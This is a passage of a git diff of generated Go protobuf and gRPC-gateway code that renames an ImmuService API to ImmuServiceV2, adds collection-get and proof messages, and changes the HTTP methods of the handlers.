v.(*DocumentQuery); i { case 0: return &v.state case 1: @@ -1011,7 +1182,7 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchResponse); i { + switch v := v.(*DocumentSearchRequest); i { case 0: return &v.state case 1: @@ -1023,7 +1194,7 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*LoginRequest); i { + switch v := v.(*DocumentSearchResponse); i { case 0: return &v.state case 1: @@ -1035,7 +1206,7 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*LoginResponse); i { + switch v := v.(*LoginRequest); i { case 0: return &v.state case 1: @@ -1047,7 +1218,7 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PossibleIndexValue); i { + switch v := v.(*LoginResponseV2); i { case 0: return &v.state case 1: @@ -1083,7 +1254,7 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListRequest); i { + switch v := v.(*CollectionGetRequest); i { case 0: return &v.state case 1: @@ -1095,7 +1266,7 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListResponse); i { + switch v := v.(*CollectionListRequest); i { case 0: return &v.state case 1: @@ -1107,6 +1278,18 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionListResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CollectionDeleteRequest); i { case 0: return &v.state @@ -1118,25 +1301,32 @@ func file_schemav2_proto_init() { return nil } } - } - file_schemav2_proto_msgTypes[5].OneofWrappers = []interface{}{ - (*PossibleIndexValue_NumberValue)(nil), - (*PossibleIndexValue_StringValue)(nil), - (*PossibleIndexValue_BoolValue)(nil), - (*PossibleIndexValue_IntValue)(nil), + file_schemav2_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Proof); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_schemav2_proto_rawDesc, - NumEnums: 0, - NumMessages: 16, + NumEnums: 2, + NumMessages: 17, NumExtensions: 0, NumServices: 1, }, GoTypes: file_schemav2_proto_goTypes, DependencyIndexes: file_schemav2_proto_depIdxs, + EnumInfos: file_schemav2_proto_enumTypes, MessageInfos: file_schemav2_proto_msgTypes, }.Build() File_schemav2_proto = out.File diff --git a/pkg/api/schemav2/schemav2.pb.gw.go b/pkg/api/schemav2/schemav2.pb.gw.go index 6a5c4adbe9..f9cf10c3ae 100644 --- a/pkg/api/schemav2/schemav2.pb.gw.go +++ b/pkg/api/schemav2/schemav2.pb.gw.go @@ -33,7 +33,7 @@ var _ = utilities.NewDoubleArray var _ = descriptor.ForMessage var _ = metadata.Join -func request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_ImmuServiceV2_LoginV2_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq LoginRequest var metadata runtime.ServerMetadata @@ -45,12 +45,12 @@ func request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Marshale return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.Login(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.LoginV2(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_ImmuServiceV2_LoginV2_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq LoginRequest var metadata runtime.ServerMetadata @@ -62,12 +62,12 @@ func local_request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Ma return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.Login(ctx, &protoReq) + msg, err := server.LoginV2(ctx, &protoReq) return msg, metadata, err } -func request_ImmuService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_ImmuServiceV2_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DocumentInsertRequest var metadata runtime.ServerMetadata @@ -84,7 +84,7 @@ func request_ImmuService_DocumentInsert_0(ctx context.Context, marshaler runtime } -func local_request_ImmuService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_ImmuServiceV2_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DocumentInsertRequest var metadata runtime.ServerMetadata @@ -101,7 +101,7 @@ func local_request_ImmuService_DocumentInsert_0(ctx context.Context, marshaler r } -func request_ImmuService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_ImmuServiceV2_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DocumentSearchRequest var metadata runtime.ServerMetadata @@ -118,7 +118,7 @@ func request_ImmuService_DocumentSearch_0(ctx context.Context, marshaler runtime } -func local_request_ImmuService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_ImmuServiceV2_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DocumentSearchRequest var metadata runtime.ServerMetadata @@ -135,7 +135,7 @@ func local_request_ImmuService_DocumentSearch_0(ctx context.Context, marshaler r } -func request_ImmuService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_ImmuServiceV2_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionCreateRequest var metadata runtime.ServerMetadata @@ -152,7 +152,7 @@ func request_ImmuService_CollectionCreate_0(ctx context.Context, marshaler runti } -func local_request_ImmuService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_ImmuServiceV2_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionCreateRequest var metadata runtime.ServerMetadata @@ -169,7 +169,43 @@ func local_request_ImmuService_CollectionCreate_0(ctx context.Context, marshaler } -func request_ImmuService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +var ( + filter_ImmuServiceV2_CollectionGet_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} +) + +func request_ImmuServiceV2_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionGetRequest + var metadata runtime.ServerMetadata + + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionGet_0); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.CollectionGet(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuServiceV2_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionGetRequest + var metadata runtime.ServerMetadata + + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionGet_0); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.CollectionGet(ctx, &protoReq) + return msg, metadata, err + +} + +func request_ImmuServiceV2_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionListRequest var metadata runtime.ServerMetadata @@ -186,7 +222,7 @@ func request_ImmuService_CollectionList_0(ctx context.Context, marshaler runtime } -func local_request_ImmuService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_ImmuServiceV2_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionListRequest var metadata runtime.ServerMetadata @@ -203,15 +239,18 @@ func local_request_ImmuService_CollectionList_0(ctx context.Context, marshaler r } -func request_ImmuService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +var ( + filter_ImmuServiceV2_CollectionDelete_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} +) + +func request_ImmuServiceV2_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionDeleteRequest var metadata runtime.ServerMetadata - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionDelete_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } @@ -220,15 +259,14 @@ func request_ImmuService_CollectionDelete_0(ctx context.Context, marshaler runti } -func local_request_ImmuService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_ImmuServiceV2_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionDeleteRequest var metadata runtime.ServerMetadata - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionDelete_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } @@ -237,13 +275,13 @@ func local_request_ImmuService_CollectionDelete_0(ctx context.Context, marshaler } -// RegisterImmuServiceHandlerServer registers the http handlers for service ImmuService to "mux". -// UnaryRPC :call ImmuServiceServer directly. +// RegisterImmuServiceV2HandlerServer registers the http handlers for service ImmuServiceV2 to "mux". +// UnaryRPC :call ImmuServiceV2Server directly. // StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. -// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterImmuServiceHandlerFromEndpoint instead. -func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server ImmuServiceServer) error { +// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterImmuServiceV2HandlerFromEndpoint instead. +func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeMux, server ImmuServiceV2Server) error { - mux.Handle("POST", pattern_ImmuService_Login_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_ImmuServiceV2_LoginV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -254,7 +292,7 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuService_Login_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_ImmuServiceV2_LoginV2_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -262,11 +300,11 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux return } - forward_ImmuService_Login_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_LoginV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_ImmuServiceV2_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -277,7 +315,7 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuService_DocumentInsert_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_ImmuServiceV2_DocumentInsert_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -285,11 +323,11 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux return } - forward_ImmuService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_ImmuServiceV2_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -300,7 +338,7 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuService_DocumentSearch_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_ImmuServiceV2_DocumentSearch_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -308,11 +346,11 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux return } - forward_ImmuService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_ImmuServiceV2_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -323,7 +361,7 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuService_CollectionCreate_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_ImmuServiceV2_CollectionCreate_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -331,11 +369,11 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux return } - forward_ImmuService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_ImmuServiceV2_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -346,7 +384,7 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuService_CollectionList_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_ImmuServiceV2_CollectionGet_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -354,11 +392,11 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux return } - forward_ImmuService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_ImmuServiceV2_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -369,7 +407,7 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuService_CollectionDelete_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_ImmuServiceV2_CollectionList_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -377,16 +415,39 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux return } - forward_ImmuService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("DELETE", pattern_ImmuServiceV2_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuServiceV2_CollectionDelete_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuServiceV2_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) return nil } -// RegisterImmuServiceHandlerFromEndpoint is same as RegisterImmuServiceHandler but +// RegisterImmuServiceV2HandlerFromEndpoint is same as RegisterImmuServiceV2Handler but // automatically dials to "endpoint" and closes the connection when "ctx" gets done. -func RegisterImmuServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { +func RegisterImmuServiceV2HandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { conn, err := grpc.Dial(endpoint, opts...) if err != nil { return err @@ -406,23 +467,23 @@ func RegisterImmuServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.Se }() }() - return RegisterImmuServiceHandler(ctx, mux, conn) + return RegisterImmuServiceV2Handler(ctx, mux, conn) } -// RegisterImmuServiceHandler registers the http handlers for service ImmuService to "mux". +// RegisterImmuServiceV2Handler registers the http handlers for service ImmuServiceV2 to "mux". // The handlers forward requests to the grpc endpoint over "conn". -func RegisterImmuServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { - return RegisterImmuServiceHandlerClient(ctx, mux, NewImmuServiceClient(conn)) +func RegisterImmuServiceV2Handler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { + return RegisterImmuServiceV2HandlerClient(ctx, mux, NewImmuServiceV2Client(conn)) } -// RegisterImmuServiceHandlerClient registers the http handlers for service ImmuService -// to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "ImmuServiceClient". -// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "ImmuServiceClient" +// RegisterImmuServiceV2HandlerClient registers the http handlers for service ImmuServiceV2 +// to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "ImmuServiceV2Client". +// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "ImmuServiceV2Client" // doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in -// "ImmuServiceClient" to call the correct interceptors. -func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client ImmuServiceClient) error { +// "ImmuServiceV2Client" to call the correct interceptors. +func RegisterImmuServiceV2HandlerClient(ctx context.Context, mux *runtime.ServeMux, client ImmuServiceV2Client) error { - mux.Handle("POST", pattern_ImmuService_Login_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_ImmuServiceV2_LoginV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -431,18 +492,18 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuService_Login_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_ImmuServiceV2_LoginV2_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuService_Login_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_LoginV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_ImmuServiceV2_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -451,18 +512,18 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuService_DocumentInsert_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_ImmuServiceV2_DocumentInsert_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_ImmuServiceV2_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -471,18 +532,18 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuService_DocumentSearch_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_ImmuServiceV2_DocumentSearch_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_ImmuServiceV2_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -491,18 +552,18 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuService_CollectionCreate_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_ImmuServiceV2_CollectionCreate_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_ImmuServiceV2_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -511,18 +572,18 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuService_CollectionList_0(rctx, inboundMarshaler, client, req, pathParams) 